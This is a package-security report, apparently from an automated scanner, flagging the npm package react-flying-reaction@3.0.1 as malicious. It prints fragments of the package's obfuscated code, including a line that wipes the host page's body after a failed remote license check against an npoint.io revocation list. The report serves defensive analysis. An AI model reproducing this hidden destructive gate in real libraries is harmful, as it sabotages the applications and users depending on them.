registry / Destructive action / react-flying-reaction

react-flying-reaction

React flying reaction

This report shows the evidence for react-flying-reaction@3.0.1. 2 of 4 known versions are blocked or flagged. See all versions.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The component contains a concrete, destructive action against the consuming application's DOM, guarded only by remote-controlled license status. No install hook is needed for this harmful runtime behavior.

Static reason

One or more suspicious static signals were detected.

Trigger

A consumer mounts Reaction with an invalid, expired, revoked, or unavailable license result.

Impact

It can destroy the visible content and operation of the consumer's web application.

Mechanism

Obfuscated license gate that replaces the document body.

Attack narrative

The package performs a license check when Reaction is mounted. On a non-localhost host, an invalid result causes it to create an empty body and replace the application's existing body. This is unrelated to rendering flying emoji and is hidden in an obfuscated bundle; it can take down any page using the component.

AI rationale

Evidence

index.jsdocument.documentElementdocument.body

Network endpoints1

api.npoint.io/f63d2269d3d045f8cdc3

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

The obfuscated component replaces the consumer page body with a new empty body after a failed license check outside localhost.
Mounting the component automatically verifies a license and can fetch a remote revocation list.
The published entry point is deliberately obfuscated, concealing this destructive browser behavior.

Evidence against

package.json has no install lifecycle scripts and declares only React as a peer dependency.
The inspected code contains no child-process, shell, filesystem, or credential-exfiltration behavior.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsMinifiedObfuscatedTrivialUrlStrings

Manifest

NoLicense

scanned 1 file(s), 52.8 KB of source, external domains: api.npoint.io, stackoverflow.com

Source & flagged code

4 flagged

index.jsView file

Lines 1-2javascript

1const _0x15d866=_0x3bf4;(function(_0x546285,_0x5c49b2){const _0x282c70=_0x3bf4,_0x3eda05=_0x546285();while(!![]){try{const _0xf1b6b=-parseInt(_0x282c70(0x16f))/0x1*(-parseInt(_0x282c70(0x20d))/0x2)+-parseInt(_0x282c70(0x1b4))/0x3*(-parseInt(_0x282c70(0x1d4))/0x4)+parseInt(_0x282c70(0x1c5))/0x5*(-parseInt(_0x282c70(0x167))/0x6)+parseInt(_0x282c70(0x185))/0x7+parseInt(_0x282c70(0x22d))/0x8+-parseInt(_0x282c70(0x1ed))/0x9+parseInt(_0x282c70(0x1ef))/0xa*(parseInt(_0x282c70(0x21d))/0xb);if(_0xf1b6b===_0x5c49b2)break;else _0x3eda05['push'](_0x3eda05['shift']());}catch(_0x43d561){_0x3eda05['push'](_0 ...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.jsView on unpkg · L1

High

Ai Review Evidence

The obfuscated component replaces the consumer page body with a new empty body after a failed license check outside localhost.

index.jsView on unpkg · L1

High

Ai Review Evidence

Mounting the component automatically verifies a license and can fetch a remote revocation list.

index.jsView on unpkg · L1

High

Ai Review Evidence

The published entry point is deliberately obfuscated, concealing this destructive browser behavior.

index.jsView on unpkg · L1

Long lines were clipped for display.

Source & flagged code

4 flagged · loading source

index.jsView file

1const _0x15d866=_0x3bf4;(function(_0x546285,_0x5c49b2){const _0x282c70=_0x3bf4,_0x3eda05=_0x546285();while(!![]){try{const _0xf1b6b=-parseInt(_0x282c70(0x16f))/0x1*(-parseInt(_0x28...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

index.jsView on unpkg · L1

1if(_0x2170ee[_0x403b56(0x161)]==='invalid'&&!_0x364227){const _0x575816=document[_0x403b56(0x1fa)]('body');return document[_0x403b56(0x1d8)][_0x403b56(0x1d5)](_0x575816,document[_0x403b56(0x1ad)]),null;}

High

Ai Review Evidence

The obfuscated component replaces the consumer page body with a new empty body after a failed license check outside localhost.

index.jsView on unpkg · L1

1const PUBLIC_KEY=hexToBytes(LICENSE_PUBLIC_KEY_HEX),PRODUCT='rFr',REVOKED_LIST_URL='https://api.npoint.io/f63d2269d3d045f8cdc3',REVOCATION_CACHE_TTL_MS=0x7*0x18*0x3c*0x3c*0x3e8

High

Ai Review Evidence

Mounting the component automatically verifies a license and can fetch a remote revocation list.

index.jsView on unpkg · L1

Findings

5 High2 Medium3 Low

HighObfuscated Payload Loaderindex.js

HighObfuscated

HighAi Review Evidenceindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowHigh Entropy Strings

LowUrl Strings

LowNo License

Affected versions and remediation

This report applies to react-flying-reaction@3.0.1.

The versions list below shows the verdict for each recorded version.

Avoid installing react-flying-reaction@3.0.1. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-05 04:29:44.988Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

4 known versions

3.0.1latestshownMaliciousDestructive ActionBlockPublishedSep 5, 2026, 4:25 AM 3.0.0MaliciousDestructive ActionBlockPublishedSep 4, 2026, 12:24 PM 2.0.5Suspicious—WarnPublishedSep 4, 2026, 9:03 AM 2.0.4Suspicious—WarnPublishedSep 4, 2026, 8:54 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other destructive action packages

Behavioral surface

Related packages

Other destructive action packages

Source & flagged code